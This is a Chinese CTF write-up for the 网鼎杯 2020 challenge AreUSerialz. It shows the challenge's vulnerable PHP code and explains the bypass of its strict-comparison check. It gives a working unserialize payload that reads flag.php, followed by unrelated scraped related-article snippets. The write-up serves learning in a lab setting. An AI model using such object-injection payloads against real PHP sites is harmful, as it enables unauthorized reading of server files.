[网鼎杯 2020 青龙组]AreUSerialz

BUUCTF在线评测BUUCTF 是一个 CTF 竞赛和训练平台,为各位 CTF 选手提供真实赛题在线复现等服务。https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E9%9D%92%E9%BE%99%E7%BB%84]AreUSerialz启动靶机,页面显示php代码

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}

get方法传参 str ,代码会对其进行反序列化。同时代码还声明了一个  FileHandler 类,类中包含三个参数  op ,filename, content。

当op为1时,执行写操作,为 2时,执行读操作。显然,我们需要 读操作,去读取 flag.php 文件的内容。

我起先传递的payload:

/?str=O:11:"FileHandler":3:{s:2:"op";s:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

返回 bad hacker

然鹅,需要注意  __destruct()函数中,用到了 ===(强比较),它不仅会比较参数的数值,还会比较参数的类型。也就是说如果我们传递的参数 op 是字符串2,那么代码会将 1 赋值给op,将空值赋给content,然后执行process()函数将文件内容清空

所以,修改一下,将传递的  2 改为 int型字符 进行绕过

最终payload:

/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

F12查看源码,找到flag{5d6a5a87-2549-43d3-a3b7-039b4da8b01e}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/95606.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/95606.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

贵州移动创维E900V22F-S905L3SB-全分区备份

贵州移动创维E900V22F-S905L3SB-全分区备份刷机教程&#xff1a;请查看压缩包内教程&#xff01;下载地址&#xff1a;链接: https://pan.baidu.com/s/1EyYgLNZlxv-UvHpmTRxA_g?pwd5v8w 提取码: 5v8w链接&#xff1a;https://www.123pan.com/s/Jbe8Vv-dTMN 提取码:0123备用链接…

springboot redis 缓存入门与实战

Spring Boot3 Redis 项目地址https://gitee.com/supervol/loong-springboot-study&#xff08;记得给个start&#xff0c;感谢&#xff09;Redis 介绍Redis 是一款高性能的 内存数据库&#xff08;支持持久化&#xff09;&#xff0c;兼具缓存、NoSQL 存储、分布式锁等核心能力…

Redis缓存三大经典问题:雪崩、穿透、击穿详解

在高并发系统中&#xff0c;Redis作为高性能的内存缓存数据库&#xff0c;缓存可能会引发一系列严重问题——缓存雪崩、缓存穿透、缓存击穿。一、缓存雪崩&#xff08;Cache Avalanche&#xff09;1. 什么是缓存雪崩&#xff1f;缓存雪崩是指大量缓存数据在同一时间集中失效&am…

后端Web实战-删除修改

目录 1.删除员工 1.1.1 需求 1.1.2 接口文档 1.1.3 思路分析 1.1.4 功能开发 1.1.4.1 Controller接收参数 1.1.4.2 Service 1.1.4.3 Mapper 1.1.5 功能测试 1.1.6 前后端联调 2.修改员工 2.1 查询回显 2.1.1 接口文档 2.1.2 实现思路 2.1.3 代码实现 2.1.4 方式…

VNC连接服务器实现远程桌面-针对官方给的链接已经失效问题

按照官方给的链接在安装包的时候找不到链接&#xff0c;原链接可能已经失效新链接# 下载 libjpeg-turbo 官方 debwget --no-proxy "https://sourceforge.net/projects/libjpeg-turbo/files/2.0.90%20(2.1%20beta1)/libjpeg-turbo-official_2.0.90_amd64.deb/download"…

Docker在Windows与Linux系统安装的一体化教学设计

Docker跨平台安装实训课程设计 一、课程定位 本实训课程面向计算机应用技术、云计算技术与应用等专业学生&#xff0c;通过对比学习Docker在Windows和Linux两大主流操作系统上的安装与配置方法&#xff0c;帮助学生掌握容器化技术的基础环境搭建能力&#xff0c;为后续的容器管…

c++多线程(1)------创建和管理线程td::thread

操作系统&#xff1a;ubuntu22.04 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 std::thread 是 C11 标准库中用于创建和管理线程的核心类&#xff0c;定义在 头文件中。它使得多线程编程变得简单、类型安全且跨平台。 一、std::thread 简介 std::thread 是一个类…

Flutter环境搭建全攻略之-windows环境搭建

一&#xff0c;Flutter 官网&#xff1a;https://flutter.dev Flutter Packages官网&#xff1a;https://pub.dev 二&#xff0c;Windows 上面搭建Flutter Android运行环境 对应软件可以联系客服&#xff0c;或者网盘里面下载 1&#xff0c;Flutter Android环境搭建&#xff1a…

《Docker 零基础入门到实战:容器化部署如此简单,运维效率直接拉满》

相信你对封面图上的「Docker 鲸鱼」图标并不陌生 —— 它正是解决「开发环境能跑&#xff0c;生产环境崩了」的容器化神器&#xff01;Docker 通过打包应用与依赖到轻量容器&#xff0c;实现了「一次构建&#xff0c;到处运行」&#xff0c;彻底消除环境不一致的痛点。本文从 D…

Spring Security 深度学习(六): RESTful API 安全与 JWT

目录 1. 引言&#xff1a;无状态认证的崛起2. JWT (JSON Web Token) 核心概念2.1 什么是JWT&#xff1f;2.2 JWT的组成&#xff1a;Header, Payload, Signature2.3 JWT的工作原理2.4 JWT的优缺点与适用场景 3. Spring Security中的JWT集成策略3.1 禁用Session管理与CSRF防护3.2…

无名信号量

include <myhead.h> oid *task( void *file_size)int file_size1*(int*)file_size;//打开源文件int fdopen("./hello",O_RDONLY);if(fd-1){perror("open error\n");return NULL;}//打开目标文件int fd1open("./world",O_WRONLY);if(fd1-1)…

免费CRM系统与Excel客户管理的区别

很多中小企业在客户管理初期&#xff0c;会选择使用Excel表格进行客户数据的整理与维护。但随着业务规模扩大&#xff0c;客户信息日益复杂&#xff0c;Excel逐渐暴露出诸多局限性。此时&#xff0c;免费CRM系统应运而生&#xff0c;成为企业客户管理升级的重要选择。本文将深入…

linux Nginx服务配置介绍,和配置流程

1、Nginx 配置介绍认识Nginx服务的主配置文件 nginx.confnginx的配置文件一般在 /usr/local/nginx/conf/下&#xff0c;然后直接vim nginx.com 即可编辑1.1 全局配置介绍全局配置位于主配置文件最顶部&#xff0c;作用于整个Nginx服务进程&#xff0c;影响服务的资源分配、运行…

文字识别接口-文字识别技术-ocr api

文字识别接口&#xff0c;顾名思义&#xff0c;就是一种将图像文字或手写文字转换为可编辑文本的技术。文字识别接口&#xff0c;基于深度学习算法与自主ocr核心实现多种场景字符的高精度识别与结构化信息提取&#xff0c;现已被广泛应用于银行、医疗、财会、教育等多个领域。随…

DeepSeek R1大模型微调实战-llama-factory的模型下载与训练

文章目录概要1.下载模型2.llama factory 训练模型2.1 模型微调2.2 模型评估2.3 模型对话2.4 导出模型3.硬件选择概要 LLaMA Factory 是一个简单易用且高效的大型语言模型训练与微调平台。通过它&#xff0c;用户可以在无需编写任何代码的前提下&#xff0c;在本地完成上百种预…

C++ map和set

C参考文献&#xff1a;cplusplus.com - The C Resources Network 目录 一、序列式容器和关联式容器 二、set系列 &#xff08;1&#xff09;set类的介绍 &#xff08;2&#xff09;set的构造和迭代器 &#xff08;3&#xff09;set的接口 1.insert​编辑 2.find和erase 3…

头一次见问这么多kafka的问题

分享一篇粉丝朋友整理的面经&#xff0c;第一次遇见问那么多kafka的问题&#xff0c;看看他是怎么回答的。 先来看看 职位描述&#xff1a; 岗位职责&#xff1a; 负责基于 Go 的后端服务的设计、开发和维护&#xff1b;参与系统架构设计&#xff0c;确保系统的高可用性、高性能…

自底向上了解CPU的运算

文章目录 引言 CPU如何实现逻辑运算 NMOS和PMOS 基于MOS管组合下的逻辑门运算 逻辑运算下运算的实现 ALU的诞生 CPU的诞生 关于二进制运算的研究 十进制转二进制基础换算 为什么负数要使用补码进行表示 为什么反码就能解决正负数相加问题,我们还需要用补码来表示负数呢? 小数…

apache poi与Office Open XML关系

以下内容来自AI https://ecma-international.org/publications-and-standards/standards/ecma-376/ 官方规范 https://poi.apache.org/components/oxml4j/index.html java中针对Office Open XML的实现 Apache poi中各个组件 https://poi.apache.org/components/index.html …

S32K328上芯片内部RTC的使用和唤醒配置

1&#xff1a;RTC介绍 1.1 RTC基础功能介绍 参考《S32K3xx Reference Manual》&#xff0c;S32K328芯片内部自带RTC功能&#xff0c;并且支持从低功耗状态下唤醒设备&#xff1b;1.2 RTC电源介绍 由以下三张图可知 1&#xff1a;RTC由V11供电&#xff0c;V11依赖外部V15供电&am…